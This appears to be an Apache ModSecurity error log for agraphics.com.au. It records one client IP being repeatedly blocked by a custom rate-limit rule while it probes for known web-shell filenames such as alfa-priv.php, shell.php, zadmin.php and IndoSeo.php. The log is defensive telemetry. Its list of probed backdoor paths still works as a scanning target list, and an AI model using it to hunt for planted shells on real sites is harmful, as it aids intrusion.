[Sun Jan 11 20:41:45.382894 2026] [:error] [pid 35977:tid 35981] [client 4.247.164.63:41378] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eval.php"] [unique_id "aWOaibDST5RMqStLeP15DwAAAgE"]
[Sun Jan 11 20:41:45.849616 2026] [:error] [pid 36611:tid 36617] [client 4.247.164.63:32926] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-priv.php"] [unique_id "aWOaiT8oZoZHsoTdjhhfzgAAAkQ"]
[Sun Jan 11 20:41:46.289147 2026] [:error] [pid 5152:tid 5173] [client 4.247.164.63:35009] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-priv.php"] [unique_id "aWOaihm0axGMFrpuXHCVrgAAAAs"]
[Sun Jan 11 20:41:46.637222 2026] [:error] [pid 5153:tid 5203] [client 4.247.164.63:39429] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-priv.php"] [unique_id "aWOais1QbNSPD9bRi77JewAAAE4"]
[Sun Jan 11 20:41:47.072214 2026] [:error] [pid 5272:tid 5284] [client 4.247.164.63:39450] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfa-priv.php"] [unique_id "aWOai1p55bCsukUvYGZ0OgAAAMo"]
[Sun Jan 11 20:41:47.434166 2026] [:error] [pid 5155:tid 5216] [client 4.247.164.63:53076] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zadmin.php"] [unique_id "aWOai1gEKFpNs0_zLGkeZgAAAIA"]
[Sun Jan 11 20:41:47.866742 2026] [:error] [pid 35730:tid 35751] [client 4.247.164.63:35359] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zadmin.php"] [unique_id "aWOaizi7U_mfHtESQHlbVQAAAdM"]
[Sun Jan 11 20:41:48.451074 2026] [:error] [pid 11747:tid 11770] [client 4.247.164.63:32434] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zadmin.php"] [unique_id "aWOajKRFw84LNpZSk7nh-AAAAVM"]
[Sun Jan 11 20:41:49.104852 2026] [:error] [pid 35977:tid 36003] [client 4.247.164.63:32949] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zadmin.php"] [unique_id "aWOajbDST5RMqStLeP15FQAAAhc"]
[Sun Jan 11 20:41:49.581159 2026] [:error] [pid 5153:tid 5195] [client 4.247.164.63:39467] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aWOajc1QbNSPD9bRi77JfQAAAEY"]
[Sun Jan 11 20:41:49.954838 2026] [:error] [pid 40191:tid 40201] [client 4.247.164.63:35738] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aWOajUm2BH1CV1p0EUHTzgAAAsg"]
[Sun Jan 11 20:41:50.410085 2026] [:error] [pid 35730:tid 35741] [client 4.247.164.63:5829] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aWOajji7U_mfHtESQHlbWQAAAck"]
[Sun Jan 11 20:41:50.927337 2026] [:error] [pid 40191:tid 40215] [client 4.247.164.63:53095] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aWOajkm2BH1CV1p0EUHTzwAAAtY"]
[Sun Jan 11 20:41:51.328962 2026] [:error] [pid 5272:tid 5280] [client 4.247.164.63:41349] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/op.php"] [unique_id "aWOaj1p55bCsukUvYGZ0QQAAAMY"]
[Sun Jan 11 20:41:51.753758 2026] [:error] [pid 5272:tid 5287] [client 4.247.164.63:35013] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/op.php"] [unique_id "aWOaj1p55bCsukUvYGZ0RAAAAM0"]
[Sun Jan 11 20:41:52.184341 2026] [:error] [pid 5272:tid 5293] [client 4.247.164.63:31312] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/op.php"] [unique_id "aWOakFp55bCsukUvYGZ0SwAAANM"]
[Sun Jan 11 20:41:52.669085 2026] [:error] [pid 35730:tid 35749] [client 4.247.164.63:59932] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/op.php"] [unique_id "aWOakDi7U_mfHtESQHlbYAAAAdE"]
[Sun Jan 11 20:41:53.129233 2026] [:error] [pid 40191:tid 40194] [client 4.247.164.63:53115] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/action.php"] [unique_id "aWOakUm2BH1CV1p0EUHT1AAAAsE"]
[Sun Jan 11 20:41:53.456901 2026] [:error] [pid 5153:tid 5212] [client 4.247.164.63:35331] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/action.php"] [unique_id "aWOakc1QbNSPD9bRi77JfgAAAFc"]
[Sun Jan 11 20:41:53.870979 2026] [:error] [pid 40191:tid 40197] [client 4.247.164.63:35386] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/action.php"] [unique_id "aWOakUm2BH1CV1p0EUHT1wAAAsQ"]
[Sun Jan 11 20:41:54.696447 2026] [:error] [pid 5155:tid 5239] [client 4.247.164.63:5848] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/action.php"] [unique_id "aWOaklgEKFpNs0_zLGkeawAAAJc"]
[Sun Jan 11 20:41:55.190293 2026] [:error] [pid 5152:tid 5184] [client 4.247.164.63:5851] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aWOakxm0axGMFrpuXHCVrwAAABY"]
[Sun Jan 11 20:41:55.712926 2026] [:error] [pid 35977:tid 35997] [client 4.247.164.63:32942] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aWOak7DST5RMqStLeP15JAAAAhE"]
[Sun Jan 11 20:41:56.257142 2026] [:error] [pid 11748:tid 11786] [client 4.247.164.63:32941] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aWOalAC5xybrWOCNnoYAngAAAYg"]
[Sun Jan 11 20:41:56.633094 2026] [:error] [pid 11747:tid 11771] [client 4.247.164.63:39439] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aWOalKRFw84LNpZSk7nh_wAAAVQ"]
[Sun Jan 11 20:41:57.131168 2026] [:error] [pid 35730:tid 35740] [client 4.247.164.63:32919] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/process.php"] [unique_id "aWOalTi7U_mfHtESQHlbZAAAAcg"]
[Sun Jan 11 20:41:57.493195 2026] [:error] [pid 5153:tid 5211] [client 4.247.164.63:5827] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/process.php"] [unique_id "aWOalc1QbNSPD9bRi77JggAAAFY"]
[Sun Jan 11 20:41:57.892633 2026] [:error] [pid 35730:tid 35734] [client 4.247.164.63:35045] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/process.php"] [unique_id "aWOalTi7U_mfHtESQHlbZQAAAcI"]
[Sun Jan 11 20:41:58.727599 2026] [:error] [pid 36611:tid 36618] [client 4.247.164.63:32388] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/process.php"] [unique_id "aWOalj8oZoZHsoTdjhhf0wAAAkU"]
[Sun Jan 11 20:41:59.316525 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:32427] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOal1p55bCsukUvYGZ0VAAAAMk"]
[Sun Jan 11 20:41:59.808335 2026] [:error] [pid 11748:tid 11787] [client 4.247.164.63:36477] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOalwC5xybrWOCNnoYAnwAAAYk"]
[Sun Jan 11 20:42:00.165856 2026] [:error] [pid 11748:tid 11792] [client 4.247.164.63:5856] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamAC5xybrWOCNnoYAoAAAAY4"]
[Sun Jan 11 20:42:00.619500 2026] [:error] [pid 11748:tid 11801] [client 4.247.164.63:36418] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamAC5xybrWOCNnoYAoQAAAZc"]
[Sun Jan 11 20:42:00.995924 2026] [:error] [pid 5153:tid 5213] [client 4.247.164.63:5885] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamM1QbNSPD9bRi77JhAAAAFg"]
[Sun Jan 11 20:42:01.448401 2026] [:error] [pid 5153:tid 5197] [client 4.247.164.63:32897] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamc1QbNSPD9bRi77JhQAAAEg"]
[Sun Jan 11 20:42:01.965072 2026] [:error] [pid 35730:tid 35735] [client 4.247.164.63:5852] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamTi7U_mfHtESQHlbaAAAAcM"]
[Sun Jan 11 20:42:02.589168 2026] [:error] [pid 5272:tid 5281] [client 4.247.164.63:36452] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shell.php"] [unique_id "aWOamlp55bCsukUvYGZ0XQAAAMc"]
[Sun Jan 11 20:42:03.205249 2026] [:error] [pid 11748:tid 11793] [client 4.247.164.63:36552] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOamwC5xybrWOCNnoYApgAAAY8"]
[Sun Jan 11 20:42:03.613914 2026] [:error] [pid 35730:tid 35745] [client 4.247.164.63:36451] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOamzi7U_mfHtESQHlbagAAAc0"]
[Sun Jan 11 20:42:04.218325 2026] [:error] [pid 36611:tid 36632] [client 4.247.164.63:53077] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOanD8oZoZHsoTdjhhf1QAAAlM"]
[Sun Jan 11 20:42:04.858052 2026] [:error] [pid 40191:tid 40206] [client 4.247.164.63:36563] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOanEm2BH1CV1p0EUHT4AAAAs0"]
[Sun Jan 11 20:42:05.836021 2026] [:error] [pid 5152:tid 5175] [client 4.247.164.63:53074] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOanRm0axGMFrpuXHCVuQAAAA0"]
[Sun Jan 11 20:42:06.209745 2026] [:error] [pid 35730:tid 35747] [client 4.247.164.63:31642] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOanji7U_mfHtESQHlbbAAAAc8"]
[Sun Jan 11 20:42:06.914532 2026] [:error] [pid 35730:tid 35740] [client 4.247.164.63:31664] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOanji7U_mfHtESQHlbbgAAAcg"]
[Sun Jan 11 20:42:07.500482 2026] [:error] [pid 5272:tid 5282] [client 4.247.164.63:35343] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/com.php"] [unique_id "aWOan1p55bCsukUvYGZ0YgAAAMg"]
[Sun Jan 11 20:42:08.440736 2026] [:error] [pid 36611:tid 36615] [client 4.247.164.63:36446] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaoD8oZoZHsoTdjhhf2AAAAkI"]
[Sun Jan 11 20:42:08.920418 2026] [:error] [pid 5272:tid 5298] [client 4.247.164.63:5849] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaoFp55bCsukUvYGZ0ZAAAANg"]
[Sun Jan 11 20:42:09.264317 2026] [:error] [pid 5155:tid 5229] [client 4.247.164.63:32444] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaoVgEKFpNs0_zLGkecAAAAI0"]
[Sun Jan 11 20:42:09.730117 2026] [:error] [pid 5155:tid 5237] [client 4.247.164.63:36473] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaoVgEKFpNs0_zLGkecQAAAJU"]
[Sun Jan 11 20:42:10.202565 2026] [:error] [pid 5272:tid 5284] [client 4.247.164.63:39460] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaolp55bCsukUvYGZ0ZQAAAMo"]
[Sun Jan 11 20:42:10.796461 2026] [:error] [pid 5272:tid 5293] [client 4.247.164.63:35342] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOaolp55bCsukUvYGZ0ZgAAANM"]
[Sun Jan 11 20:42:11.324688 2026] [:error] [pid 5155:tid 5222] [client 4.247.164.63:32920] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOao1gEKFpNs0_zLGkecgAAAIY"]
[Sun Jan 11 20:42:11.794158 2026] [:error] [pid 5155:tid 5219] [client 4.247.164.63:36464] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mws.php"] [unique_id "aWOao1gEKFpNs0_zLGkedAAAAIM"]
[Sun Jan 11 20:42:12.414636 2026] [:error] [pid 35730:tid 35754] [client 4.247.164.63:32429] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOapDi7U_mfHtESQHlbdAAAAdY"]
[Sun Jan 11 20:42:12.898988 2026] [:error] [pid 5272:tid 5283] [client 4.247.164.63:39436] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOapFp55bCsukUvYGZ0ZwAAAMk"]
[Sun Jan 11 20:42:13.312665 2026] [:error] [pid 5272:tid 5278] [client 4.247.164.63:39483] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOapVp55bCsukUvYGZ0aAAAAMQ"]
[Sun Jan 11 20:42:13.941210 2026] [:error] [pid 35730:tid 35736] [client 4.247.164.63:53084] [client 4.247.164.63] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/IndoSeo.php"] [unique_id "aWOapTi7U_mfHtESQHlbeAAAAcQ"]
